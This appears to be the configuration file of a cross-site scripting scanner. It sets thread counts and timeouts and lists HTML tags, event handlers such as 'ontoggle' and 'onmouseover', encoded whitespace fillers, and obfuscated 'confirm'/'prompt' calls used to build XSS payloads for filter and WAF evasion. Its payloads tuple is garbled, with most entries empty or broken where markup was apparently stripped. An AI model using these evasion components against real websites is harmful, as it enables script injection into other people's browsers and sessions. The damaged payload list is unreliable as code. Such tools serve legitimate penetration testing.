changes = '''verbose toggle;bruteforcer from a file;bug fixes;payload encoding''' defaultEditor = 'nano' xsschecker = 'v3dm0s' # A non malicious string to check for reflections and stuff minEfficiency = 90 delay = 0 threadCount = 10 timeout = 10 specialAttributes = ['srcdoc', 'src'] badTags = ('iframe', 'title', 'textarea', 'noembed', 'style', 'template', 'noscript') tags = ('html', 'd3v', 'a', 'details') # HTML Tags jFillings = ('-', '*', ';', '/') lFillings = ('', ' x') eFillings = ('%09', '%0a', '%0d', '+') # "Things" to use between event handler and = or between function and = fillings = ('%09', '%0a', '%0d', '/+/') # "Things" to use instead of space eventHandlers = { # Event handlers and the tags compatible with them 'ontoggle': ['details'], 'onpointerenter': ['d3v', 'details', 'html', 'a'], 'onmouseover': ['a', 'html', 'd3v'] } functions = ( # JavaScript functions to get a popup '[8].find(confirm)', 'confirm()', '(confirm)()', 'co\u006efir\u006d()', '(prompt)``', 'a=prompt,a()') payloads = ( # Payloads for filter & WAF evasion '\'"', '', '
', '', '', '', '', '', '